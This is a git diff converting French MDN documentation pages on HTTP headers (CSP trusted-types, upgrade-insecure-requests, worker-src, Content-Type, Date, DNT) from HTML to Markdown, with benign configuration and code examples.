Content-Security-Policy: trusted-types 'none'; + Content-Security-Policy: trusted-types <policyName>; + Content-Security-Policy: trusted-types <policyName> <policyName> 'allow-duplicates'; -<dl> - <dt><nomRègle></dt> - <dd>Un nom de règle est composé de caractères alphanumériques ou d'un ou plusieurs "<code>-#=_/@.%</code>". Une astérisque (<code>*</code>) comme nom de règle informe l'agent utilisateur d'autoriser tout nom de règle unique (quoique la valeur <code>'allow-duplicates'</code> pourrait permettre d'être plus laxiste à l'avenir).</dd> - <dt><code>'none'</code></dt> - <dd>Interdit la création de toute règle de Trusted Type (identique au fait de ne renseigner aucun nom de règle).</dd> - <dt><code>'allow-duplicates'</code></dt> - <dd>Autorise la création de règles dont le nom a déjà été utilisé.</dd> -</dl> +- \<nomRègle> + - : Un nom de règle est composé de caractères alphanumériques ou d'un ou plusieurs "`-#=_/@.%`". Une astérisque (`*`) comme nom de règle informe l'agent utilisateur d'autoriser tout nom de règle unique (quoique la valeur `'allow-duplicates'` pourrait permettre d'être plus laxiste à l'avenir). +- `'none'` + - : Interdit la création de toute règle de Trusted Type (identique au fait de ne renseigner aucun nom de règle). +- `'allow-duplicates'` + - : Autorise la création de règles dont le nom a déjà été utilisé. -<h2 id="Exemples">Exemples</h2> +## Exemples -<p>Soit l'en-tête CSP :</p> +Soit l'en-tête CSP : -<pre>Content-Security-Policy: trusted-types foo bar 'allow-duplicates';</pre> + Content-Security-Policy: trusted-types foo bar 'allow-duplicates'; -<p>Ce code génèrera une erreur car une des règles créées a un nom non autorisé :</p> +Ce code génèrera une erreur car une des règles créées a un nom non autorisé : -<pre class="brush: js">if (typeof trustedTypes !== 'undefined') { +```js +if (typeof trustedTypes !== 'undefined') { const policyFoo = trustedTypes.createPolicy('foo', {}); const policyFoo2 = trustedTypes.createPolicy('foo', {}); const policyBaz = trustedTypes.createPolicy('baz', {}); // Throws and dispatches a SecurityPolicyViolationEvent. } -</pre> +``` -<h2 id="Prothèse_démulation">Prothèse d'émulation</h2> +## Prothèse d'émulation -<p>Un <a href="https://github.com/w3c/webappsec-trusted-types#polyfill">prothèse d'émulation pour les Trusted Types</a> est disponible sur Github.</p> +Un [prothèse d'émulation pour les Trusted Types](https://github.com/w3c/webappsec-trusted-types#polyfill) est disponible sur Github. -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Statut</th> - <th scope="col">Commentaire</th> - </tr> - </thead> - <tbody> - <tr> - <td><a href="https://w3c.github.io/webappsec-trusted-types/dist/spec/">Trusted Types</a></td> - <td>Draft</td> - <td>Définition initiale.</td> - </tr> - </tbody> -</table> +| Spécification | Statut | Commentaire | +| ------------------------------------------------------------------------- | ------ | -------------------- | +| [Trusted Types](https://w3c.github.io/webappsec-trusted-types/dist/spec/) | Draft | Définition initiale. | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs +{{Compat("http.headers.csp.Content-Security-Policy.trusted-types")}} +## Voir aussi -<p>{{Compat("http.headers.csp.Content-Security-Policy.trusted-types")}}</p> - -<h2 id="Voir_aussi">Voir aussi</h2> - -<ul> - <li>{{HTTPHeader("Content-Security-Policy")}}</li> - <li><a href="/en-US/docs/Glossary/Cross-site_scripting">Cross-Site Scripting (XSS)</a></li> - <li><a href="https://web.dev/trusted-types">Prevent DOM-based cross-site scripting vulnerabilities with Trusted Types</a></li> - <li>Trusted Types with <a href="https://github.com/cure53/DOMPurify#what-about-dompurify-and-trusted-types">DOMPurify</a> XSS sanitizer</li> -</ul> +- {{HTTPHeader("Content-Security-Policy")}} +- [Cross-Site Scripting (XSS)](/en-US/docs/Glossary/Cross-site_scripting) +- [Prevent DOM-based cross-site scripting vulnerabilities with Trusted Types](https://web.dev/trusted-types) +- Trusted Types with [DOMPurify](https://github.com/cure53/DOMPurify#what-about-dompurify-and-trusted-types) XSS sanitizer diff --git a/files/fr/web/http/headers/content-security-policy/upgrade-insecure-requests/index.md b/files/fr/web/http/headers/content-security-policy/upgrade-insecure-requests/index.md index 3b0defb999..8fed1ecd6c 100644 --- a/files/fr/web/http/headers/content-security-policy/upgrade-insecure-requests/index.md +++ b/files/fr/web/http/headers/content-security-policy/upgrade-insecure-requests/index.md @@ -15,82 +15,74 @@ tags: - upgrade-insecure-requests translation_of: Web/HTTP/Headers/Content-Security-Policy/upgrade-insecure-requests --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>upgrade-insecure-requests</strong></code> informe l'agent utilisateur de traiter toutes les URL non sécurisées d'un site (servies avec HTTP) comme si elles avaient été remplacées par des URL sécurisées (servies avec HTTPS). Cette directive est prévue pour les sites web ayant un grand nombre d'URL non sécurisées héritées du passé et qui ont besoin d'être récrites.</p> +La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`upgrade-insecure-requests`** informe l'agent utilisateur de traiter toutes les URL non sécurisées d'un site (servies avec HTTP) comme si elles avaient été remplacées par des URL sécurisées (servies avec HTTPS). Cette directive est prévue pour les sites web ayant un grand nombre d'URL non sécurisées héritées du passé et qui ont besoin d'être récrites. -<div class="notecard note"> - <p><strong>Note :</strong> La directive <code>upgrade-insecure-requests</code> est évaluée avant la directive {{CSP("block-all-mixed-content")}} et si cette elle est définie, cette dernière est effectivement ignorée. Il est recommendé de ne définir que l'une des deux directives mais non les deux, à moins que vous souhaitiez forcer HTTPS sur les anciens navigateurs qui ne le font pas après une redirection vers HTTP.</p> -</div> +> **Note :** La directive `upgrade-insecure-requests` est évaluée avant la directive {{CSP("block-all-mixed-content")}} et si cette elle est définie, cette dernière est effectivement ignorée. Il est recommendé de ne définir que l'une des deux directives mais non les deux, à moins que vous souhaitiez forcer HTTPS sur les anciens navigateurs qui ne le font pas après une redirection vers HTTP. -<p>The <code>upgrade-insecure-requests</code> directive will not ensure that users visiting your site via links on third-party sites will be upgraded to HTTPS for the top-level navigation and thus does not replace the {{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}}) header, which should still be set with an appropriate <code>max-age</code> to ensure that users are not subject to SSL stripping attacks.</p> +The `upgrade-insecure-requests` directive will not ensure that users visiting your site via links on third-party sites will be upgraded to HTTPS for the top-level navigation and thus does not replace the {{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}}) header, which should still be set with an appropriate `max-age` to ensure that users are not subject to SSL stripping attacks. -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">Content-Security-Policy: upgrade-insecure-requests;</pre> + Content-Security-Policy: upgrade-insecure-requests; -<h2 id="Exemples">Exemples</h2> +## Exemples -<p>Soit cet en-tête CSP :</p> +Soit cet en-tête CSP : -<pre>Content-Security-Policy: upgrade-insecure-requests; -</pre> + Content-Security-Policy: upgrade-insecure-requests; -<p>Et cette balise meta :</p> +Et cette balise meta : -<pre class="brush: html"><meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests"></pre> +```html +<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests"> +``` -<p>Avec cet en-tête défini sur le domaine example.com voulant migrer d'HTTP à HTTPS, les requêtes pour des ressources non sécurisées et non navigationnelles sont automatiquement converties (qu'elles soient internes ou externes).</p> +Avec cet en-tête défini sur le domaine example.com voulant migrer d'HTTP à HTTPS, les requêtes pour des ressources non sécurisées et non navigationnelles sont automatiquement converties (qu'elles soient internes ou externes). -<pre class="brush: html"><img src="http://example.com/image.png"> -<img src="http://not-example.com/image.png"></pre> +```html +<img src="http://example.com/image.png"> +<img src="http://not-example.com/image.png"> +``` -<p>Ces URL seront récrites avant que la requête soit envoyée, signifiant qu'aucune requête non sécurisée ne sera envoyée. Notez que si la ressource demandée n'est pas actuellement disponible via HTTPS, la requête échouera sans se rabattre sur HTTP.</p> +Ces URL seront récrites avant que la requête soit envoyée, signifiant qu'aucune requête non sécurisée ne sera envoyée. Notez que si la ressource demandée n'est pas actuellement disponible via HTTPS, la requête échouera sans se rabattre sur HTTP. -<pre class="brush: html"><img src="https://example.com/image.png"> -<img src="https://not-example.com/image.png"></pre> +```html +<img src="https://example.com/image.png"> +<img src="https://not-example.com/image.png"> +``` -<p>Les conversions navigationnelles vers des ressources externes amènent un risque significatif de dysfonctionnement étant donné que des requêtes peuvent n'être pas converties, par exemple celles-ci :</p> +Les conversions navigationnelles vers des ressources externes amènent un risque significatif de dysfonctionnement étant donné que des requêtes peuvent n'être pas converties, par exemple celles-ci : -<pre class="brush: html"><a href="https://example.com/">Home</a> -<a href="http://not-example.com/">Home</a></pre> +```html +<a href="https://example.com/">Home</a> +<a href="http://not-example.com/">Home</a> +``` -<h3 id="Identifier_des_requêtes_non_sécurisées">Identifier des requêtes non sécurisées</h3> +### Identifier des requêtes non sécurisées -<p>À l'aide de l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}} et de la directive {{CSP("report-uri")}}, vous pouvez mettre en place une stratégie de rapportage de violations sans bloquage conjointement à une stratégie de conversion comme :</p> +À l'aide de l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}} et de la directive {{CSP("report-uri")}}, vous pouvez mettre en place une stratégie de rapportage de violations sans bloquage conjointement à une stratégie de conversion comme : -<pre>Content-Security-Policy: upgrade-insecure-requests; default-src https: -Content-Security-Policy-Report-Only: default-src https:; report-uri /endpoint</pre> + Content-Security-Policy: upgrade-insecure-requests; default-src https: + Content-Security-Policy-Report-Only: default-src https:; report-uri /endpoint -<p>De cette manière, vous convertirez toujours les requêtes non sécurisées sur votre site sécurisé mais la stratégie de rapportage identifiera les requêtes non sécurisées et les rapportera à l'adresse fournie.</p> +De cette manière, vous convertirez toujours les requêtes non sécurisées sur votre site sécurisé mais la stratégie de rapportage identifiera les requêtes non sécurisées et les rapportera à l'adresse fournie. -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Statut</th> - <th scope="col">Commentaire</th> - </tr> - <tr> - <td>{{specName("Upgrade Insecure Requests", "#delivery", "upgrade-insecure-requests")}}</td> - <td>{{Spec2('Upgrade Insecure Requests')}}</td> - <td>Définition initiale.</td> - </tr> - </tbody> -</table> +| Spécification | Statut | Commentaire | +| ---------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------- | -------------------- | +| {{specName("Upgrade Insecure Requests", "#delivery", "upgrade-insecure-requests")}} | {{Spec2('Upgrade Insecure Requests')}} | Définition initiale. | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.csp.Content-Security-Policy.upgrade-insecure-requests")}}</p> +{{Compat("http.headers.csp.Content-Security-Policy.upgrade-insecure-requests")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Content-Security-Policy")}}</li> - <li>{{HTTPHeader("Upgrade-Insecure-Requests")}} header</li> - <li>{{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}}) header</li> - <li>{{CSP("block-all-mixed-content")}}</li> - <li><a href="/en-US/docs/Web/Security/Mixed_content">Mixed content</a></li> -</ul> +- {{HTTPHeader("Content-Security-Policy")}} +- {{HTTPHeader("Upgrade-Insecure-Requests")}} header +- {{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}}) header +- {{CSP("block-all-mixed-content")}} +- [Mixed content](/en-US/docs/Web/Security/Mixed_content) diff --git a/files/fr/web/http/headers/content-security-policy/worker-src/index.md b/files/fr/web/http/headers/content-security-policy/worker-src/index.md index fd9ee4f21f..61f848fbeb 100644 --- a/files/fr/web/http/headers/content-security-policy/worker-src/index.md +++ b/files/fr/web/http/headers/content-security-policy/worker-src/index.md @@ -11,88 +11,88 @@ tags: - Sécurité translation_of: Web/HTTP/Headers/Content-Security-Policy/worker-src --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>worker-src</strong></code> spécifie les sources valides pour les scripts {{domxref("Worker")}}, {{domxref("SharedWorker")}} et {{domxref("ServiceWorker")}}.</p> +La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`worker-src`** spécifie les sources valides pour les scripts {{domxref("Worker")}}, {{domxref("SharedWorker")}} et {{domxref("ServiceWorker")}}. <table class="properties"> - <tbody> - <tr> - <th scope="row">Version de CSP</th> - <td>3</td> - </tr> - <tr> - <th scope="row">Type de directive</th> - <td>{{Glossary("Fetch directive")}}</td> - </tr> - <tr> - <th scope="row">Valeur par défaut</th> - <td> - <p>Si cette directive est absente, l'agent utilisateur consultera d'abord la directive {{CSP("child-src")}}, puis la directive {{CSP("script-src")}} et enfin la directive {{CSP("default-src")}}, concernant la gestion l'exécution des workers.</p> - - <p>Chrome 59 et plus ne consultent pas la directive {{CSP("child-src")}}.</p> - - <p>Edge 17 ne consulte pas la directive {{CSP("script-src")}} (<a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/17415478/">bug</a>).</p> - </td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>3</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">Valeur par défaut</th> + <td> + <p> + Si cette directive est absente, l'agent utilisateur consultera d'abord + la directive {{CSP("child-src")}}, puis la directive + {{CSP("script-src")}} et enfin la directive + {{CSP("default-src")}}, concernant la gestion l'exécution des + workers. + </p> + <p> + Chrome 59 et plus ne consultent pas la directive + {{CSP("child-src")}}. + </p> + <p> + Edge 17 ne consulte pas la directive {{CSP("script-src")}} (<a + href="https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/17415478/" + >bug</a + >). + </p> + </td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> +Une ou plusieurs sources peuvent être autorisées pour cette directive : -<pre class="syntaxbox">Content-Security-Policy: worker-src <source>; -Content-Security-Policy: worker-src <source> <source>; -</pre> + Content-Security-Policy: worker-src <source>; + Content-Security-Policy: worker-src <source> <source>; -<h3 id="Sources">Sources</h3> +### Sources -<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}</p> +{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}} -<h2 id="Exemples">Exemples</h2> +## Exemples -<h3 id="Cas_de_violation">Cas de violation</h3> +### Cas de violation -<p>Soit cet en-tête CSP :</p> +Soit cet en-tête CSP : -<pre class="brush: bash">Content-Security-Policy: worker-src https://example.com/</pre> +```bash +Content-Security-Policy: worker-src https://example.com/ +``` -<p>{{domxref("Worker")}}, {{domxref("SharedWorker")}} et {{domxref("ServiceWorker")}} seront bloqués et ne se chargeront pas :</p> +{{domxref("Worker")}}, {{domxref("SharedWorker")}} et {{domxref("ServiceWorker")}} seront bloqués et ne se chargeront pas : -<pre class="brush: html"><script> +```html +<script> var blockedWorker = new Worker("data:application/javascript,..."); blockedWorker = new SharedWorker("https://not-example.com/"); navigator.serviceWorker.register('https://not-example.com/sw.js'); -</script></pre> - -<h2 id="Spécifications">Spécifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Statut</th> - <th scope="col">Commentaire</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{specName("CSP 3.0", "#directive-worker-src", "worker-src")}}</td> - <td>{{Spec2('CSP 3.0')}}</td> - <td>Définition initiale.</td> - </tr> - </tbody> -</table> +</script> +``` + +## Spécifications + +| Spécification | Statut | Commentaire | +| ------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | +| {{specName("CSP 3.0", "#directive-worker-src", "worker-src")}} | {{Spec2('CSP 3.0')}} | Définition initiale. | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.csp.Content-Security-Policy.worker-src")}}</p> +{{Compat("http.headers.csp.Content-Security-Policy.worker-src")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Content-Security-Policy")}}</li> - <li><a href="/docs/Web/API/Web_Workers_API/Using_web_workers#Content_security_policy">CSP for Web Workers</a></li> - <li>{{domxref("Worker")}}, {{domxref("SharedWorker")}}, {{domxref("ServiceWorker")}}</li> -</ul> +- {{HTTPHeader("Content-Security-Policy")}} +- [CSP for Web Workers](/docs/Web/API/Web_Workers_API/Using_web_workers#Content_security_policy) +- {{domxref("Worker")}}, {{domxref("SharedWorker")}}, {{domxref("ServiceWorker")}} diff --git a/files/fr/web/http/headers/content-type/index.md b/files/fr/web/http/headers/content-type/index.md index 18b02ea29b..98180e8867 100644 --- a/files/fr/web/http/headers/content-type/index.md +++ b/files/fr/web/http/headers/content-type/index.md @@ -7,109 +7,92 @@ tags: - en-tête translation_of: Web/HTTP/Headers/Content-Type --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>L'en-tête <strong><code>Content-Type</code></strong> sert à indiquer le type MIME de la ressource.</p> +L'en-tête **`Content-Type`** sert à indiquer le type MIME de la ressource. -<p>Dans les réponses, un en-tête <code>Content-Type</code> indique au client le type de contenu réellement renvoyé. Il peut arriver que les navigateurs cherchent à détecter le type MIME du contenu en l'inspectant plutôt qu'en respectant la valeur de cet en-tête. Pour empêcher ce comportement, on peut paramétrer l'en-tête {{HTTPHeader("X-Content-Type-Options")}} avec la valeur <code>nosniff</code>.</p> +Dans les réponses, un en-tête `Content-Type` indique au client le type de contenu réellement renvoyé. Il peut arriver que les navigateurs cherchent à détecter le type MIME du contenu en l'inspectant plutôt qu'en respectant la valeur de cet en-tête. Pour empêcher ce comportement, on peut paramétrer l'en-tête {{HTTPHeader("X-Content-Type-Options")}} avec la valeur `nosniff`. -<p>Dans les requêtes, (telles que {{HTTPMethod("POST")}} ou {{HTTPMethod("PUT")}}), le client indique au serveur quel type de données a réellement été envoyé.</p> +Dans les requêtes, (telles que {{HTTPMethod("POST")}} ou {{HTTPMethod("PUT")}}), le client indique au serveur quel type de données a réellement été envoyé. <table class="properties"> - <tbody> - <tr> - <th scope="row">Type d'en-tête</th> - <td>En-tête d'entité</td> - </tr> - <tr> - <th scope="row">Nom d'en-tête interdit</th> - <td>Non</td> - </tr> - <tr> - <th scope="row">En-tête de réponse simple pour le CORS</th> - <td>Oui</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>En-tête d'entité</td> + </tr> + <tr> + <th scope="row">Nom d'en-tête interdit</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">En-tête de réponse simple pour le CORS</th> + <td>Oui</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">Content-Type: text/html; charset=utf-8 -Content-Type: multipart/form-data; boundary=something -</pre> + Content-Type: text/html; charset=utf-8 + Content-Type: multipart/form-data; boundary=something -<h2 id="Directives">Directives</h2> +## Directives -<dl> - <dt><code>media-type</code></dt> - <dd>Le <a href="/fr/docs/Web/HTTP/Basics_of_HTTP/MIME_types">type MIME</a> de la ressource ou des données.</dd> - <dt><code>charset</code></dt> - <dd>L'encodage utilisé pour les caractères des données.</dd> - <dt><code>boundary</code></dt> - <dd>Pour les entités fragmentées (<em>multipart</em>), la directive <code>boundary</code> est nécessaire. Elle ne se termine pas par un espace et est composée de 1 à 70 caractères qui proviennent d'un ensemble de caractères connus pour ne pas être transformés/modifiés par les différents composants au travers desquels transitent les emails. Cette directive est utilisée afin d'encapsuler les limites des différents fragments d'un message fragmenté.</dd> -</dl> +- `media-type` + - : Le [type MIME](/fr/docs/Web/HTTP/Basics_of_HTTP/MIME_types) de la ressource ou des données. +- `charset` + - : L'encodage utilisé pour les caractères des données. +- `boundary` + - : Pour les entités fragmentées (_multipart_), la directive `boundary` est nécessaire. Elle ne se termine pas par un espace et est composée de 1 à 70 caractères qui proviennent d'un ensemble de caractères connus pour ne pas être transformés/modifiés par les différents composants au travers desquels transitent les emails. Cette directive est utilisée afin d'encapsuler les limites des différents fragments d'un message fragmenté. -<h2 id="Exemples">Exemples</h2> +## Exemples -<h3 id="Content-Type_dans_les_formulaires_HTML"><code>Content-Type</code> dans les formulaires HTML</h3> +### `Content-Type` dans les formulaires HTML -<p>Dans une requête {{HTTPMethod("POST")}}, qui vient d'une soumission d'un formulaire HTML, le <code>Content-Type</code> de la requête est précisé par l'attribut <code>enctype</code> de l'élément {{HTMLElement("form")}}.</p> +Dans une requête {{HTTPMethod("POST")}}, qui vient d'une soumission d'un formulaire HTML, le `Content-Type` de la requête est précisé par l'attribut `enctype` de l'élément {{HTMLElement("form")}}. -<pre class="brush: html"><form action="/" method="post" enctype="multipart/form-data"> - <input type="text" name="description" value="du texte"> - <input type="file" name="monFichier"> - <button type="submit">Envoyer</button> -</form> -</pre> +```html +<form action="/" method="post" enctype="multipart/form-data"> + <input type="text" name="description" value="du texte"> + <input type="file" name="monFichier"> + <button type="submit">Envoyer</button> +</form> +``` -<p>La requête ressemble à peu près à ceci (les en-têtes moins intéressants ont été ici volontairement omis) :</p> +La requête ressemble à peu près à ceci (les en-têtes moins intéressants ont été ici volontairement omis) : -<pre>POST /toto HTTP/1.1 -Content-Length: 68137 -Content-Type: multipart/form-data; boundary=---------------------------974767299852498929531610575 -Content-Disposition: form-data; name="description" + POST /toto HTTP/1.1 + Content-Length: 68137 + Content-Type: multipart/form-data; boundary=---------------------------974767299852498929531610575 + Content-Disposition: form-data; name="description" ----------------------------974767299852498929531610575 + ---------------------------974767299852498929531610575 -du texte par ici + du texte par ici ----------------------------974767299852498929531610575 -Content-Disposition: form-data; name="monFichier"; filename="toto.txt" -Content-Type: text/plain + ---------------------------974767299852498929531610575 + Content-Disposition: form-data; name="monFichier"; filename="toto.txt" + Content-Type: text/plain -(contenu du fichier envoyé en ligne toto.txt) + (contenu du fichier envoyé en ligne toto.txt) ----------------------------974767299852498929531610575 -</pre> + ---------------------------974767299852498929531610575 -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7233", "Content-Type in multipart", "4.1")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td> - </tr> - <tr> - <td>{{RFC("7231", "Content-Type", "3.1.1.5")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------------------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7233", "Content-Type in multipart", "4.1")}} | Hypertext Transfer Protocol (HTTP/1.1): Range Requests | +| {{RFC("7231", "Content-Type", "3.1.1.5")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Compatibilité_selon_les_navigateurs">Compatibilité selon les navigateurs</h2> +## Compatibilité selon les navigateurs -<p>{{Compat("http/headers/content-type")}}</p> +{{Compat("http/headers/content-type")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Accept")}} et {{HTTPHeader("Accept-Charset")}}</li> - <li>{{HTTPHeader("Content-Disposition")}}</li> - <li>{{HTTPStatus("206")}} <code>Partial Content</code></li> - <li>{{HTTPHeader("X-Content-Type-Options")}}</li> -</ul> +- {{HTTPHeader("Accept")}} et {{HTTPHeader("Accept-Charset")}} +- {{HTTPHeader("Content-Disposition")}} +- {{HTTPStatus("206")}} `Partial Content` +- {{HTTPHeader("X-Content-Type-Options")}} diff --git a/files/fr/web/http/headers/date/index.md b/files/fr/web/http/headers/date/index.md index e882e72fdd..6b505d3f0a 100644 --- a/files/fr/web/http/headers/date/index.md +++ b/files/fr/web/http/headers/date/index.md @@ -3,74 +3,60 @@ title: Date slug: Web/HTTP/Headers/Date translation_of: Web/HTTP/Headers/Date --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>L'en-tête général HTTP <strong><code>Date</code></strong> contient la date et l'heure d'origine du message.</p> +L'en-tête général HTTP **`Date`** contient la date et l'heure d'origine du message. <table class="properties"> - <tbody> - <tr> - <th scope="row">Type d'en-tête</th> - <td>{{Glossary("General header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name ")}}</th> - <td>oui</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>{{Glossary("General header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name ")}}</th> + <td>oui</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">Date: <day-name>, <jour> <mois> <année> <heure>:<minute>:<seconde> GMT -</pre> + Date: <day-name>, <jour> <mois> <année> <heure>:<minute>:<seconde> GMT -<h2 id="Directives">Directives</h2> +## Directives -<dl> - <dt><day-name></dt> - <dd>L'un des mots "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" ou "Sun" (sensible à la casse).</dd> - <dt><day></dt> - <dd>Numéro de jour à 2 chiffres, par ex. "04" ou "23".</dd> - <dt>< month></dt> - <dd>L'un des mots "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (sensible à la casse).</dd> - <dt>< year></dt> - <dd>Numéro d'année à 4 chiffres, par exemple "1990" ou "2018".</dd> - <dt>< hour></dt> - <dd>Numéro d'heure à 2 chiffres, par exemple "09" or "23".</dd> - <dt>< minute></dt> - <dd>Numéro d'heure à 2 chiffres, par exemple "04" or "59".</dd> - <dt>< second></dt> - <dd>Numéro de seconde à 2 chiffres, par exemple "04" or "59".</dd> - <dt>GMT</dt> - <dd>Temps sur le Méridien de Greenwich. Les dates HTTP sont toujours exprimées en GMT, jamais en heure locale.</dd> -</dl> +- \<day-name> + - : L'un des mots "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" ou "Sun" (sensible à la casse). +- \<day> + - : Numéro de jour à 2 chiffres, par ex. "04" ou "23". +- < month> + - : L'un des mots "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (sensible à la casse). +- < year> + - : Numéro d'année à 4 chiffres, par exemple "1990" ou "2018". +- < hour> + - : Numéro d'heure à 2 chiffres, par exemple "09" or "23". +- < minute> + - : Numéro d'heure à 2 chiffres, par exemple "04" or "59". +- < second> + - : Numéro de seconde à 2 chiffres, par exemple "04" or "59". +- GMT + - : Temps sur le Méridien de Greenwich. Les dates HTTP sont toujours exprimées en GMT, jamais en heure locale. -<h2 id="Exemples">Exemples</h2> +## Exemples -<pre>Date: Wed, 21 Oct 2015 07:28:00 GMT</pre> + Date: Wed, 21 Oct 2015 07:28:00 GMT -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécifications</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "Date", "7.1.1.2")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1) : Sémantique et contenu</td> - </tr> - </tbody> -</table> +| Spécifications | Titre | +| -------------------------------------------- | -------------------------------------------------------------- | +| {{RFC("7231", "Date", "7.1.1.2")}} | Hypertext Transfer Protocol (HTTP/1.1) : Sémantique et contenu | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.Date")}}</p> +{{Compat("http.headers.Date")}} -<h2 id="See_also">See also</h2> +## See also -<ul> - <li>{{HTTPHeader("Age")}}</li> -</ul> +- {{HTTPHeader("Age")}} diff --git a/files/fr/web/http/headers/dnt/index.md b/files/fr/web/http/headers/dnt/index.md index 225e0911e2..a54c4988d5 100644 --- a/files/fr/web/http/headers/dnt/index.md +++ b/files/fr/web/http/headers/dnt/index.md @@ -3,79 +3,63 @@ title: DNT slug: Web/HTTP/Headers/DNT translation_of: Web/HTTP/Headers/DNT --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le header de requête <strong><code>DNT</code></strong> (<strong>D</strong>o <strong>N</strong>ot <strong>T</strong>rack) indique que les préférences de l'utilisateur concernant le suivi publicitaire. Il permet aux utilisateurs d'indiquer s'ils préfèrent leur vie privée au lieu d'un contenu personnalisé.</p> +Le header de requête **`DNT`** (**D**o **N**ot **T**rack) indique que les préférences de l'utilisateur concernant le suivi publicitaire. Il permet aux utilisateurs d'indiquer s'ils préfèrent leur vie privée au lieu d'un contenu personnalisé. <table class="properties"> - <tbody> - <tr> - <th scope="row">Header type</th> - <td>{{Glossary("Request header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>yes</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> </table> -<h2 id="Syntax">Syntax</h2> +## Syntax -<pre class="syntaxbox">DNT: 0 -DNT: 1 -</pre> + DNT: 0 + DNT: 1 -<h2 id="Directives">Directives</h2> +## Directives -<dl> - <dt>0</dt> - <dd>L'utilisateur préfère autoriser son suivi sur le site cible.</dd> - <dt>1</dt> - <dd>L'utilisateur préfère ne pas être suivi sur le site cible.</dd> -</dl> +- 0 + - : L'utilisateur préfère autoriser son suivi sur le site cible. +- 1 + - : L'utilisateur préfère ne pas être suivi sur le site cible. -<h2 